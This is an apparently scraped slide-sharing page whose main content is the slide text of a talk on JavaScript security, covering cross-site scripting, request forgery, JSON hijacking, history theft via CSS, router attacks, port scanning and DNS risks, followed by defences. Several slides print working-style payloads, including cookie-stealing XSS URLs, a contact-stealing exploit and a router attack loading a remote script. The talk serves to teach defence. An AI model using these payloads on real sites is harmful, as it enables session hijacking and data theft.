E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embedding
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 

JavaScript Security Issues and Attacks

  • 1. JavaScript Security John Graham-Cumming
  • 2. Living in a powder keg and giving off sparks JavaScript security is a mess The security model is outdated Key examples Attacking DNS to attack JavaScript What are we going to do?
  • 3. The JavaScript Sandbox JavaScript security dates to 1995 Two key concerns: Stop a malicious web site from attacking your computer Stop a malicious web site from interacting with another web site
  • 4. The Death of the PC If all your documents are in the cloud, what good is protecting your PC? The JavaScript sandbox does nothing to prevent cloud attacks Who cares if a web site is prevented from reading your “My Documents”: it’s empty
  • 5. The Same Origin Policy Scripts running on one page can’t interact with other pages For example, scripts loaded by jgc.org can’t access virusbtn.com But the Same Origin Policy doesn’t apply to the scripts themselves
  • 6. <SCRIPT> Inline<SCRIPT> … do stuff …</SCRIPT> Remote<SCRIPT SRC=“http://jgc.org/foo.js”></SCRIPT>
  • 7. Multiple <SCRIPT> elements Scripts get equal access to each other and the page they are loaded from<SCRIPT SRC=“http://google-analytics/ga.js”></SCRIPT><SCRIPT SRC=“http://co2stats.com/main.js”></SCRIPT>
  • 8. JavaScript Global Object JavaScript is inherently a ‘global’ language Variables have global scope Functions have global scope Objects inherit from a global object
  • 9. Bad stuff you can do globally Different scripts can mess with each other’s variables Different scripts can redefine each other’s functions Scripts can override native methods Transmit data anywhere Watch keystrokes Steal cookies All scripts run with equal authority
  • 10. JavaScript is everywhere <SCRIPT> tags Inside HTML elements<a id=up_810112 onclick="return vote(this)" href="vote? for=810112&dir=up&by=jgrahamc&auth=3q4&whence=%6e%65%77%73"> Inside CSSbackground-color: expression( (new Date()).getHours()%2 ? "#B8D4FF" : "#F08A00" );background-image: url("javascript: testElement.style.color = '#00cc00';");
  • 11. No mechanism for protecting JavaScript Signed JavaScript mechanism available in Netscape Communicator 4.x Remember that?
  • 12. JavaScript Summary The security model is for the wrong threat The language itself has no security awareness Oh, and it’s the most important language for all web sites
  • 13. Key attacks Cross-site scripting Cross-site Request Forgery JSON Hijacking JavaScript + CSS Sandbox Holes DNS Attacks
  • 14. Cross-site Scripting (XSS) End user injects script via web form or URL which is then executed by other users Persistent: stored in database Reflected: usually in a URL Injected scripts have the same access as all other scripts
  • 16. XSS Example: MySpace JS/SpaceHero or Samy Worm Automatic friend requests<div style="background:url('javascript:alert(1)')">
  • 17. XSS Example: PHPnuke Reflected attack Requires social engineeringhttp://www.phpnuke.org/user.php?op=userinfo&uname=<script>alert(document.cookie);</script>
  • 18. Script Escalation Scripts can load other scripts Get a foothold and you can do anything<script id="external_script" type="text/JavaScript"></script><script> document.getElementById('external_script').src = ’http://othersite.com/x.js’</script>
  • 19. Cross-Site Request Forgery Hijack cookies to use a session for bad purposes<imgsrc="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory"> Enhance with JavaScript for complex transactions.
  • 20. CSRF Example: Google Mail Steal authenticated user’s contacthttp://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999google ({  Success: true,  Errors: [],  Body: {…
  • 21. CSRF Example: Google Mail Full exploit<script type="text/javascript">function google(data){    var emails, i;    for (i = 0; i <data.Body.Contacts.length; i++) {        mails += "<li>" +data.Body.Contacts[i].Email + "";    }    document.write("<ol>" + emails + "</ol>");}</script><script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
  • 22. JSON Hijacking CSRF attack against JSON objects Works by redefined the Object constructor in JavaScript<script>function Object() { this.email setter = captureObject;}function captureObject(x) {…
  • 23. JSON Hijacking Example: Twitter Could steal the friends’ timeline for a user<script>Object.prototype.__defineSetter__('user',function(obj){for(vari in obj) {alert(i + '=' + obj[i]);} });</script><script defer="defer" src=https://twitter.com/statuses/friends_timeline/></script>
  • 24. Stealing history with JavaScript and CSS Use JavaScript to look at the ‘visited’ color of linksfunction stealHistory() {for (vari = 0; i < websites.length; i++) {varlink = document.createElement("a");link.id = "id" + i;link.href = websites[i];link.innerHTML = websites[i];document.body.appendChild(link);varcolor = document.defaultView.getComputedStyle(link,null).getPropertyValue("color"); document.body.removeChild(link);if (color == "rgb(0, 0, 255)") {document.write('' + websites[i] + '');}}}
  • 25. Sandbox Holes Sandbox not immune to actual security holes Most recent was Google V8 JavaScript engineGoogle Chrome V8 JavaScript Engine Remote Code Execution VulnerabilityBugtraq: 36149
  • 26. No Turing Test in JavaScript No way to distinguish between actual click by user and JavaScript click Can’t tell whether a user initiated an action or not
  • 27. Attacking your home firewall XSS attack on BT Home Hub to use UPnP to open a porthttp://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=
  • 28. Port scanning in JavaScript Port scan using imagesvarAttackAPI = { version: '0.1', author: 'PetkoPetkov (architect)', homepage: 'http://www.gnucitizen.org'};AttackAPI.PortScanner = {};AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; varimg = new Image();  img.onerror = function () {  if (!img) return;  img = undefined;  callback(target, port, 'open'); };  img.onload = img.onerror; img.src = 'http://' + target + ':' + port;  setTimeout(function () {  if (!img) return;  img = undefined;  callback(target, port, 'closed'); }, timeout);};AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout){ for (index = 0; index < ports.length; index++)  AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);};
  • 29. DNS Attacks Attacks on DNS are real (Kaminsky et al.) If you can alter the DNS of one remote JavaScript you can take over the page For example, google-analytics.com is on 47% of the top 1,000 web sites. 69% of the top 1,000 load a web analytics solution remotely 97% load something remotely
  • 31. TechCrunch and JavaScript 18 remotely loaded JavaScripts mediaplex.com, scorecardresearch.com, quantserve.com, ixnp.com, doubleclick.net, googlesyndication.com, crunchboard.com, snap.com, tweetmeme.com, google-analytics.com Additional embedded <SCRIPT> tags Compromise one, you compromise the entire page
  • 32. Load scripts via HTTPS to security? Tested all major browsers loading a remote script Scripts was from a site with an expired certificate for a different domain name
  • 34. What are we going to do? Sanitize user input (doh!) Don’t just rely on cookies for authentication Enforce safe subset of JavaScript CAJA and Adsafe Tell people to run NoScript Deprecate JavaScript
  • 35. Sanitize User Input; Escape Output It’s not hard! Yes, it is… Twitter recently blew it on the application name XSS hole UTF-7 encoding+ADw-script+AD4-alert(document.location)+ADw-/script+AD4- All versions of RoR vulnerable to Unicode decoding flaw Hard to get right with so many languages in the mix
  • 36. Don’t just use cookies Don’t use GET for sensitive requests Use more than cookies in POST e.g. add a secret generated for that session to prevent simple CSRF attacks e.g. RoR has protect_from_forgery :secret => "123456789012345678901234567890..."
  • 37. Safe JavaScript subsets Run all third-party code through Adsafe Restricts dangerous JavaScript methods and access to globals Or test code with Google CAJA Design to allow widgets to interact safely on pages like iGoogle
  • 38. Causata’s small contribution jsHub: web-site tagging done right Open Source Secure One Tag to Serve Them All http://jshub.org/
  • 39. NoScript Mozilla Firefox plug-in that allows fine grained control of which scripts can run on which pages An application firewall for JavaScript Advanced users only!
  • 40. Deprecate JavaScript It’s not too late. Let’s start again with a language built for security and for the webRipley: I say we take off and nuke the entire site from orbit. It's the only way to be sure.Burke: Ho-ho-hold on, hold on one second. This installation has a substantial dollar value attached to it.Ripley: They can bill me.
  • 41. Conclusion The combination of a move to the cloud and a 14 year old security environment scares me This problem has to be addressed Very hard for end-users to mitigate the risks